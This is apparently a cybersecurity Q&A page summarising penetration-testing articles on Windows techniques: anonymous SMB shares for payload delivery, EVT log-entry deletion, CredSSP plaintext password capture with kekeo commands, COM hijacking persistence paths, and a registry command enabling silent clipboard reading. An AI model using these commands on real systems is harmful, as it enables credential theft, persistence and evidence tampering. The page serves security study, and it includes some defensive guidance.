Cybersecurity Q&A
Browse concise answers derived from our published, source-linked cybersecurity coverage.
What role does the Guest account and the Everyone group play in enabling anonymous SMB access on Windows?
The Guest account must be enabled for anonymous users to authenticate as Guest. Additionally, the policy "Network access: Let Everyone permissions apply to anonymous users" must be enabled so that the Everyone group (which includes Guest) grants permissions to anonymous connections. Without these, anonymous users would be denied access even if the share permissions allow Everyone. This configuration is critical in both [domain and workgroup environments](/news/penetration-techniques-enabling-anonymous-access-shares-on-windows-systems-via-command-line).
How does the open-source PowerShell script provided in the article handle both enabling and disabling anonymous shares?
The script `Invoke-BuildAnonymousSMBServer` automates all the registry, group policy, and sharing changes. In enable mode, it performs the five steps mentioned in the command-line section. In disable mode, it reverses each change: disables the share, deactivates the Guest user, removes the `EveryoneIncludesAnonymous` registry value, deletes the `NullSessionShares` entry, and re-adds Guest to the deny network logon policy. The script handles the edge case where the deny policy line may be missing by inserting it correctly. It is tested on Windows 7 through Server 2016.
What are the essential command-line steps to configure an anonymous SMB share on a Windows system?
The key steps include: enabling the Guest user with `net user guest /active:yes`, setting the registry value `EveryoneIncludesAnonymous` to 1 under `HKLM\System\CurrentControlSet\Control\Lsa`, defining the share name under `NullSessionShares`, removing Guest from the "Deny access to this computer from the network" policy via `secedit`, and finally sharing the folder with `net share`. For full details, refer to the article's [command-line section](/news/penetration-techniques-enabling-anonymous-access-shares-on-windows-systems-via-command-line).
Why would a penetration tester need to set up an anonymous SMB share on a Windows system during an internal network test?
Anonymous SMB shares serve as a convenient data transfer channel and are often used as payload download URLs during vulnerability exploitation. For instance, during attacks exploiting [CVE-2021-1675](/news/penetration-techniques-enabling-anonymous-access-shares-on-windows-systems-via-command-line) or [CVE-2021-34527](/news/penetration-techniques-enabling-anonymous-access-shares-on-windows-systems-via-command-line), having an anonymous share allows the target to fetch malicious files without authentication. This technique complements other methods like [accessing internal file shares via Exchange ActiveSync](/news/penetration-techniques-accessing-internal-file-shares-via-exchange-activesync) for lateral movement.
What testing confirmed that EVT log deletion via handle manipulation can work without corrupting the system log?
The author tested by deleting logs within a specific time period. When the deletion period was set to a range with no logs (so nothing was altered), the system log file remained normal. When logs were actually removed, the modified memory caused errors in the live log file. However, as long as the number of logs was not changed, the file stayed intact. This confirms that while handle manipulation can delete entries, it cannot modify the log count and may cause instability if many entries are removed.
What is the DLL injection method for deleting EVT logs on Windows XP and how does it differ from newer systems?
On Windows XP, you inject a DLL into the event log process using CreateRemoteThread (since NtCreateThreadEx + LdrLoadDll is not available). Once injected, the DLL obtains the log file handle and performs file mapping operations: CreateFileMapping, MapViewOfFile, modifies memory to delete records, then calls FlushViewOfFile to write to disk. This is similar to the EVTX injection approach described in [Windows XML Event Log (EVTX) Single Log Entry Deletion (Part 4)](/news/windows-xml-event-log-evtx-single-log-entry-deletion-part-4-deleting-a-single-log-record-from-the-current-system-by-obtaining-log-file-handle-via-injection), but adapted for XP's threading limitations.
How does handle enumeration for EVT logs differ between Windows XP and Windows 8+?
On Windows XP, you cannot use NtQuerySystemInformation with SystemHandleInformation; instead you must use SystemExtendedHandleInformation (supported from XP onward). The object type number for file handles is 0x1c on XP and Windows 7, but 0x1e on Windows 8+. Additionally, you must filter out handles that may cause hangs by calling WaitForSingleObject before duplicating. For the newer OS approach, see [Windows XML Event Log (EVTX) Single Log Entry Deletion (Part 5)](/news/windows-xml-event-log-evtx-single-log-entry-deletion-part-5-deleting-a-single-log-entry-from-the-current-system-by-obtaining-log-file-handle-via-duplicatehandle).
Why can't I change the total number of log entries by directly editing the EVT file in memory?
Modifying the file header or end-of-file record in memory—such as altering the Last record number—does not affect the count returned by GetNumberOfEventLogRecords. The article verified this by using ProcessHacker to change the header values and then querying the count via a test program; the number remained unchanged. The Event Log service maintains the count independently, so handle manipulation can delete content but not alter the log count.
How can I delete EVT log records for a specific time period on a Windows XP system?
You can use either DLL injection or the DuplicateHandle method to obtain a handle to the EVT log file, then map it into memory via CreateFileMapping and MapViewOfFile, and overwrite the targeted records. On XP, first enumerate handles using NtQuerySystemInformation with SystemExtendedHandleInformation (type 0x1c for file handles), filter for log file handles with GrantedAccess = 0x0012019f, and then apply the chosen technique. For full implementation, refer to the [Windows Event Viewer Log (EVT) Single Log Deletion (Part 3)](/news/windows-event-viewer-log-evt-single-log-deletion-part-3-deleting-evt-log-records-for-a-specified-time-period-on-the-current-system) article and the linked [Part 2](/news/windows-event-viewer-log-evt-single-log-deletion-part-2-program-implementation-for-deleting-log-records-within-a-specified-time-range-from-evt-files) for the core deletion logic.
What defenses can be implemented to prevent CredSSP-based credential theft?
To defend against this attack, organizations should restrict Group Policy settings for CredSSP credential delegation—avoid enabling 'Allow delegating default credentials' unless absolutely necessary. Use the registry to set `AllowDefaultCredentials` and `AllowDefCredentialsWhenNTLMOnly` to 0. Additionally, implement LSA protection and Credential Guard, monitor for unauthorized registry changes at `HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation`, and restrict named pipe creation. For further reading on related exploitation techniques, see [Process Doppelganging](/news/introduction-to-process-doppelganging-exploitation) and [Exchange file write to command execution](/news/penetration-techniques-from-exchange-file-read-write-permissions-to-command-execution).
How can an attacker remotely capture plaintext passwords from another host in a domain environment using this technique?
In a domain environment using Kerberos, the attacker sets up a `tsssp::server` on a remote machine with SYSTEM privileges. Then, from the target host (as a regular user), they run `tsssp::client /target:TERMSRV/COMPUTER01.test.com /pipe:\\COMPUTER01.test.com\pipe\kekeo_tsssp_endpoint` to connect to that remote server. This causes the target host to send its current user's plaintext password over the network. The SPN used corresponds to the domain computer account. For more details, refer to the [exploitation section](/news/penetration-technique-extracting-user-plaintext-passwords-via-credssp) of the article.
What are the advantages of using CredSSP-based password extraction over traditional lsass memory dumping?
The main advantages are that it does not require manipulating the lsass process, thereby bypassing LSA protections like Credential Guard or antivirus hooks, and it can often be executed with standard user privileges after Group Policy is modified. This method is less noisy and more likely to evade detection compared to tools like [Mimilib for dump files](/news/penetration-techniques-extracting-passwords-from-dump-files-using-mimilib). However, it requires triggering a new login (e.g., lock screen or reboot) for the policy to take effect.
How can an attacker implement this CredSSP attack in a workgroup environment?
In a workgroup environment where NTLM authentication is used, the attacker first modifies the local Group Policy via registry commands to enable 'Allow delegating default credentials with NTLM-only server authentication'. Then, using regular user privileges, they run `tsssp::server` in kekeo to listen for connections, and `tsssp::client /target:anyword` to trigger the local client to send credentials over a named pipe. This allows capturing the current user's plaintext password without admin rights. The full command details are in the [original article](/news/penetration-technique-extracting-user-plaintext-passwords-via-credssp).
What is the CredSSP protocol and how can it be abused to extract plaintext passwords?
The CredSSP (Credential Security Support Provider) protocol is used to delegate a user's plaintext password from a client to a server, commonly in Remote Desktop Services and PowerShell Remoting. By modifying Group Policy to enable 'Allow delegating default credentials' and then setting up a fake server using tools like [kekeo](https://github.com/gentilkiwi/kekeo), an attacker can force the client to send its current user's plaintext password to the attacker-controlled server. This technique does not require interacting with the lsass process, thus bypassing many protections. See [this article](/news/penetration-technique-extracting-user-plaintext-passwords-via-credssp) for full details.
How can defenders detect this COM hijacking persistence technique?
Defenders should monitor registry keys under HKCU\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} and the Wow6432Node variant. Additionally, watch for suspicious DLL files named api-ms-win-downlevel-*._dl in %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\. These indicators can reveal unauthorized modifications that bypass standard Autoruns checks, as discussed in the original article's defense section.
What are the specific registry paths and file naming conventions used for this 64-bit system backdoor?
On 64-bit systems, two registry keys are needed: HKCU\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} for 64-bit processes, and HKCU\Software\Classes\Wow6432Node\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E} for 32-bit WOW64 processes. The DLLs are stored in %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\ and named api-ms-win-downlevel-1x64-l1-1-0._dl (64-bit) and api-ms-win-downlevel-1x86-l1-1-0._dl (32-bit). Full details are in the article [Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator](/news/use-com-object-hijacking-to-maintain-persistence-hijack-caccpropservicesclass-and-mmdeviceenumerator).
Why did the initial POC cause multiple calc.exe launches and system crash, and how was it fixed?
The DLL’s DllMain spawned calc.exe every time it was loaded, and because many processes invoke CAccPropServicesClass repeatedly, multiple instances of calc.exe launched, eventually crashing the system. The fix added a mutex (named "myself") using CreateMutex to ensure the payload runs only once per session. This optimization mirrors techniques used in other persistence methods like [using Logon Scripts](/news/use-logon-scripts-to-maintain-persistence).
How does COM object hijacking with CAccPropServicesClass provide persistence without admin privileges?
By modifying a registry key under HKCU\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}, an attacker redirects the COM object to a malicious DLL placed in a user-writable folder. Since many system programs (like Internet Explorer) load this COM object on startup, the DLL executes automatically without requiring admin rights or a reboot. This technique is similar to other COM hijacking methods such as [hijacking Outlook](/news/use-com-object-hijacking-to-maintain-persistence-hijack-outlook) or [hijacking explorer.exe](/news/use-com-object-hijacking-to-maintain-persistence-hijack-explorer-exe).
How can an attacker modify IE browser settings to allow automatic clipboard access?
An attacker with system permissions can modify Internet Explorer's security zones to enable programmatic clipboard access. The registry key `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3` with value `1407` set to `0` (allow) allows IE to read the clipboard without prompting. The command `REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" /v 1407 /t REG_DWORD /d 00000000 /f` enables this. After restarting IE, any webpage can silently retrieve clipboard data. This technique is explained in [Penetration Techniques - Exploitation of Clipboard in Windows](/news/penetration-techniques-exploitation-of-clipboard-in-windows).
How does pastejacking work in clipboard attacks?
Pastejacking is a technique where a malicious webpage hijacks the `copy` event via JavaScript, replacing the copied text with malicious content. For example, a user copies what appears to be a harmless command, but actually pastes a dangerous payload. This attack is detailed in [Penetration Techniques - Exploitation of Clipboard in Windows](/news/penetration-techniques-exploitation-of-clipboard-in-windows).